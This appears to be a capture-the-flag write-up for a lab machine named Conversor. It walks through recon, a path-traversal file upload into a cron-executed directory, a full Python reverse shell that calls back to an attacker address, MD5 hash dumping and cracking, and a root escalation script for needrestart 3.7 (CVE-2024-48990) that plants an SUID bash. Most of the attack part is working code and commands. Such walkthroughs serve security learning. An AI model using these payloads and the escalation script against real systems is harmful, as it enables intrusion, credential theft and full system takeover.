TL;DR#
Flask web application vulnerable to path traversal during file uploads. Exploited by uploading Python reverse shell to cron-executed directory → gained www-data shell → extracted MD5 hashes from SQLite database → cracked password for user fismathack → leveraged CVE-2024-48990 in needrestart 3.7 for privilege escalation to root.
Recon#
port scanning#
nmap identifies 2 open TCP ports: 22 (SSH) and 80 (HTTP)
1bubka@bubka$ nmap 10.129.4.129 -p- -A --min-rate 5000
2Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-19 06:23 -0500
3Nmap scan report for 10.129.4.129
4Host is up (0.051s latency).
5Not shown: 65533 closed tcp ports (reset)
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
10|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
1180/tcp open http Apache httpd 2.4.52
12|_http-title: Did not follow redirect to http://conversor.htb/
13|_http-server-header: Apache/2.4.52 (Ubuntu)
14Device type: general purpose|router
15Running: Linux 5.X, MikroTik RouterOS 7.X
16OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
17OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
18Network Distance: 2 hops
19Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
20
21TRACEROUTE (using port 8888/tcp)
22HOP RTT ADDRESS
231 35.97 ms 10.10.14.1
242 35.93 ms 10.129.4.129
25
26OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
27Nmap done: 1 IP address (1 host up) scanned in 24.69 secondsI added the host domain to my /etc/hosts file.
1bubka@bubka$ tail -1 /etc/hosts
210.129.4.129 conversor.htbWebsite Enumeration#
The website features a login form
Clicking “Register” redirects to a registration page where I created an account
The application converts XML and XSLT files into HTML
I downloaded the source code from the “About” page.
1.
2├── app.py
3├── app.wsgi
4├── install.md
5├── instance
6│ └── users.db
7├── scripts
8├── static
9│ ├── images
10│ │ ├── arturo.png
11│ │ ├── david.png
12│ │ └── fismathack.png
13│ ├── nmap.xslt
14│ └── style.css
15├── templates
16│ ├── about.html
17│ ├── base.html
18│ ├── index.html
19│ ├── login.html
20│ ├── register.html
21│ └── result.html
22└── uploadsSource code analysis#
intresting stuff was founded in app.py and install.md.
The application is built with Python Flask.
In app.py i found that XSLT file dont use parser configuration like XLM do.
no filename sanitization was found in the upload handler, enabling path traversal attacks.
app.py:
1...[snip]...
2parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
3xml_tree = etree.parse(xml_path, parser)
4xslt_tree = etree.parse(xslt_path) # no parse configuration
5...[snip]...- resolve_entities=False (prevents the parser from resolving entities into their values)
- no_network=True (prevent making any network requests during XML processing)
- dtd_validation=False (disables validation of the document against a DTD)
- load_dtd=False (prevents loading external DTD)
install.md reveals a cron job that executes all Python scripts in /var/www/conversor.htb/scripts/ every minute.
1...[snip]...
2You can also run it with Apache using the app.wsgi file.
3If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
4"""
5* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
6"""
7...[snip]...Exploitation#
Attack-Vector: Arbitrary File Upload via Path Traversal to Cron RCE.
The application does not sanitize filenames properly. I can upload a Python reverse shell and use path traversal (../scripts/) to save it into the directory executed by the cronjob
1bubka@bubka$ cat exploit.py
2import socket,subprocess,os
3s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
4s.connect(("10.10.14.80",5323))
5os.dup2(s.fileno(),0)
6os.dup2(s.fileno(),1)
7os.dup2(s.fileno(),2)
8import pty; pty.spawn("/bin/bash")
9
10bubka@bubka$ curl -X POST http://conversor.htb/convert \
11 -F "xml_file=@exploit.py;filename=../scripts/exploit.py" \
12 -F "xslt_file=@exploit.py;filename=sex.xsl" \
13 -b "session=eyJ1c2VyX2lkIjo1LCJ1c2VybmFtZSI6ImJ1YmthIn0.aW574A.k5FrGy9C5elqfuPqbua7WiA3Img"Shell as www-data#
1bubka@bubla$ nc -lvnp 5323
2listening on [any] 5323 ...
3connect to [10.10.14.80] from (UNKNOWN) [10.129.4.226] 51018
4www-data@conversor:~$ i know that exist database. Analyzing users.db revealed hashes for users ‘fismathack’
1www-data@conversor:~$ sqlite3 /var/www/conversor.htb/instance/users.db "SELECT * FROM users;"
2<versor.htb/instance/users.db "SELECT * FROM users;"
31|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
45|bubka|d6f23513481dcdbb81a197a16ea36c5fcracking fismathack MD5 hash
1bubka@bubka$ echo "5b5c3ac3a1c897c94caad48e6c71fdec" > hash.txt
2bubka@bubka$ hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --show
35b5c3ac3a1c897c94caad48e6c71fdec:KeepmesafeandwarmShell as fismathack#
using ssh with Keepmesafeandwarm password
1bubka@bubka$ ssh fismathack@conversor.htb
2...[snip]...
3fismathack@conversor:~$ whoami
4fismathackgetting user flag
1fismathack@conversor:~$ cat ~/user.txt
255362fe3efcdfdcc6d8f0b6c474d4b6dShell as root#
1fismathack@conversor:~$ sudo -l
2Matching Defaults entries for fismathack on conversor:
3 env_reset, mail_badpass,
4 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
5
6User fismathack may run the following commands on conversor:
7 (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
8
9fismathack@conversor:~$ needrestart --version
10
11needrestart 3.7 - Restart daemons after library updates.
12...[snip]...checking sudo -l revealed that fismathack can run /usr/sbin/needrestart without a password. The installed version is 3.7. This version is vulnerable to CVE-2024-48990 (Local Privilege Escalation), which allows arbitrary code execution via the -c config flag.
I wrote a Python script to automate the exploitation: Create a malicious Perl config file that copies /bin/bash and sets the SUID bit. Execute sudo needrestart pointing to this config. Spawn the SUID shell.
priv.py:
1#!/usr/bin/env python3
2import os
3import sys
4import subprocess
5
6config = "/tmp/bu.conf"
7shell = "/tmp/bash"
8payload = f'system("cp /bin/bash {shell} && chmod 4755 {shell}");'
9
10try:
11 with open(config, "w") as f:
12 f.write(payload)
13
14 subprocess.run(["sudo", "needrestart", "-c", config], check=True)
15
16 if os.path.exists(config):
17 os.remove(config)
18
19 if os.path.exists(shell):
20 os.execl(shell, shell, "-p")
21
22except Exception as e:
23 print(f"Unexpected error: {e}")
24 sys.exit(1)Root obtained.
1fismathack@conversor:~$ python3 priv.py
2Scanning processes...
3Scanning linux images...
4
5Running kernel seems to be up-to-date.
6
7No services need to be restarted.
8
9No containers need to be restarted.
10
11No user sessions are running outdated binaries.
12
13No VM guests are running outdated hypervisor (qemu) binaries on this host.
14rootbash-5.1# whoami
15root
16rootbash-5.1# and flag:
1rootbash-5.1# cat /root/root.txt
22ddbf40c03a3c45866748ea7e8c69444